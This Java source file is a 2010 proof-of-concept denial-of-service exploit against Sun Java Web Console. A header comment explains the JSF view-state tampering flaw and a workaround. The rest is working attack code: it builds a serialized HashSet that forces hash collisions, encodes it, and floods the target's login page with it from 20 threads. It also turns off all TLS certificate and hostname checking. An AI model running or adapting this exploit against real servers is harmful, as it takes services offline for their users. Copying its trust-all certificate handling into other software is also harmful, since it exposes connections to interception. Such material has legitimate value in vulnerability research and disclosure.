/*
 * Sun Java Web Console (SJWC) Denial of Service PoC
 * Copyright (c) 2010 Luca Carettoni
 *
 * SJWC_DoS.java v0.1 - 07 March 2010
 *
 * [Overview]
 * The current release of SJWC, and likely all previous versions, allow remote 
 * attackers to cause a Denial of Service and potentially code execution via a
 * Java serialized object injected through the JSF view state mechanism.
 *
 * [Description]
 * SJWC provides a single-sign on homepage for many Sun/Oracle administration 
 * products. Several platform are currently supported: Solaris, Linux, HP-UX and
 * Windows. SJWC is developed using Java based technologies such as JSP and JSF.
 * http://www.sun.com/download/products.xml?id=461d58be
 * 
 * This exploit demonstrates a view state tampering vulnerability in order to cause
 * Denial of Service. A crafted malicious serialized object is used to pollute the
 * "javax.faces.ViewState" field. For this Proof-of-Concept, a well-known attack pattern
 * based on Hashtable collisions (Crosby & Wallach, 2003) is employed. The usage of
 * such algorithmic complexity attack against remote Java services is credited to Marc
 * Schonefeld (Pentesting Java/J2EE, 2006).
 * 
 * This exploit was tested using the following environment:
 * - Sun Java Web Console 3.1 (JSF 1.2_07-b03-FCS)
 * - Java JDK 1.6.0_18
 * - Red Hat Enterprise Linux AS (release 4, Nahant Update 4)
 *
 * Previous SJWC releases are affected as well. However, this exploit should be
 * slightly modified in order to work against older versions.
 * 
 * As the entry point of this attack is the JSF view state mechanism, only platforms
 * having "javax.faces.STATE_SAVING_METHOD" option set to "client" are vulnerable.
 * This is the default configuration for all SJWC < v3.1.
 * Even though this is not enabled by default in SJWC = v3.1, some system
 * administrators use to set the client-side option in order to improve scalability
 * of the whole system.
 *
 * It shall be noted that this specific exploit uses a vulnerability pertains to the JDK only. 
 * However, the JSF framework (and SJWC, in this specific case) provides an interesting
 * entry point for any Java serialization gadget.
 * Since the Hashtable collisions attack is neither fixed nor mitigated in the
 * current JDK and other RCE serialization gadgets may exist, it is strongly suggested 
 * to apply the following workaround in order to protect your JSF-based applications.
 *
 * [Workaround]
 * Either encrypt the view state token or revert to view state server-side storage.
 * Please refer to http://wiki.glassfish.java.net/Wiki.jsp?page=JavaServerFacesRI
 *
 * [Usage]
 * java -jar SJWC_DoS.jar <IP_ADDRESS> <PORT>
 *
 */
package sjwc_exploit;

import java.net.*;
import java.io.*;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.util.zip.GZIPOutputStream;
import javax.net.ssl.SSLSession;
import java.net.URL;
import java.net.URLConnection;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
import java.util.HashSet;

public class SJWC_DoS {

    private String ip;
    private String port;
    private byte[] payload;
    private String payloadHTTP;
    private int thr = 20;
    private int numReq = 12;

    public SJWC_DoS(String ip, String port) throws IOException, NoSuchAlgorithmException, KeyManagementException {
        this.ip = ip;
        this.port = port;

        // Create a trust manager that does not validate certificate chains
        TrustManager[] trustAllCerts = new TrustManager[]{new X509TrustManager() {

        public java.security.cert.X509Certificate[] getAcceptedIssuers() {
            return null;
        }

        public void checkClientTrusted(X509Certificate[] certs, String authType) {
        }

        public void checkServerTrusted(X509Certificate[] certs, String authType) {
        }
    }
        };

        // Install the all-trusting trust manager
        SSLContext sc = SSLContext.getInstance("SSL");
        sc.init(null, trustAllCerts, new java.security.SecureRandom());
        HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

        // Create all-trusting host name verifier
        HostnameVerifier allHostsValid = new HostnameVerifier() {

            public boolean verify(String hostname, SSLSession session) {
                return true;
            }
        };

        // Install the all-trusting host verifier
        HttpsURLConnection.setDefaultHostnameVerifier(allHostsValid);

        System.out.println("[*] Checking target connectivity (" + ip + ":" + port + ")");
        try {
            URL url = new URL("https://" + ip + ":" + port);
            URLConnection con = url.openConnection();
            con.setConnectTimeout(10000);
            con.setReadTimeout(10000);
            con.connect();
        } catch (IOException ex) {
            System.out.println("[!] Connection error");
            System.exit(1);
        }
    }

    public void generate() throws IOException {

        System.out.println("[*] Building a malicious serialized object");

        HashSet hs = new HashSet(1, 0.000000000000001f);
        int count = 0;
        while (count < 13) {
            Object o = new Byte((byte) count);
            hs.add(o);
            count++;
        }

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutput out = new ObjectOutputStream(bos);
        try {
            out.writeObject(hs);
        } finally {
            out.close();
            payload = bos.toByteArray();
        }

        System.out.println("[*] Compressing the payload (GZIP)");
        ByteArrayInputStream byteInputStream = new ByteArrayInputStream(payload);
        ByteArrayOutputStream byteOutputStream = new ByteArrayOutputStream();

        try {

            GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteOutputStream);
            byte[] buf = new byte[1024];
            int len;
            while ((len = byteInputStream.read(buf)) > 0) {
                gzipOutputStream.write(buf, 0, len);
            }

            gzipOutputStream.close();
            byteOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }

        payload = byteOutputStream.toByteArray();

        System.out.println("[*] Encoding the payload (BASE64,URLEncoding)");
        payloadHTTP = URLEncoder.encode(Base64.encode(payload), "UTF-8");
        System.out.println("[*] Malicious \"javax.faces.ViewState\" generated");
        System.out.println("[*] Size:" + payloadHTTP.length() + " chars");
        String btemp = "";
        for (int cont = 0; cont < payloadHTTP.length(); cont++) {
            if (cont % 51 == 0) {
                btemp = btemp + "\n";
            } else {
                btemp = btemp + payloadHTTP.substring(cont, cont + 1);
            }
        }
        btemp = btemp + "\n";
        System.out.println("[*] -------------------Preview--------------------");
        System.out.println(btemp);
        System.out.println("[*] ----------------------------------------------");

        payloadHTTP = "userLoginForm%3Ausername_field=root&userLoginForm%3A" + "password_field=dump&userLoginForm%3Ahidden=&userLoginForm%3" + "Abutton1=Log+In&userLoginForm_hidden=userLoginForm_hidden&" + "javax.faces.ViewState=" + payloadHTTP;
    }

    private class HTTPRequest implements Runnable {

        Thread t;

        public HTTPRequest(String name) {
            t = new Thread(this, name);
            t.start();
        }

        public void run() {
            for (int cont = 0; cont < numReq; cont++) {
                try {
                    URL url = new URL("https://" + ip + ":" + port + "/console/faces/jsp/login/UserLogin.jsp");
                    URLConnection con = url.openConnection();
                    con.setDoOutput(true);
                    con.connect();
                    OutputStreamWriter wr = new OutputStreamWriter(con.getOutputStream());
                    wr.write(payloadHTTP);
                    wr.flush();

                    // Get the HTTP response
                    BufferedReader rd = new BufferedReader(new InputStreamReader(con.getInputStream()));
                    rd.close();
                    wr.close();

                } catch (FileNotFoundException fe) {
                    System.out.println("[!] \"/console/faces/jsp/login/UserLogin.jsp\" not found. Are you sure that SJWC is running?");
                    System.exit(1);

                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void main(String[] args) throws IOException, NoSuchAlgorithmException, KeyManagementException {

        System.out.println("\n--[ Sun Java Web Console (SJWC) Denial of Service PoC ]");
        System.out.println("--[ Copyright (c) 2010 Luca Carettoni ]\n");

        if (args.length != 2) {
            System.out.println("[!] Usage: java -jar SJWC_DoS.jar <IP_ADDRESS> <PORT>");
            System.exit(0);
        } else {
            SJWC_DoS exploit = new SJWC_DoS(args[0], args[1]);
            exploit.generate();
            System.out.println("[*] Starting DoS attack using #" + exploit.thr * exploit.numReq + " HTTP requests");
            for (int cont = 0; cont < exploit.thr; cont++) {
                exploit.new HTTPRequest(String.valueOf(cont));
            }
        }
    }
}
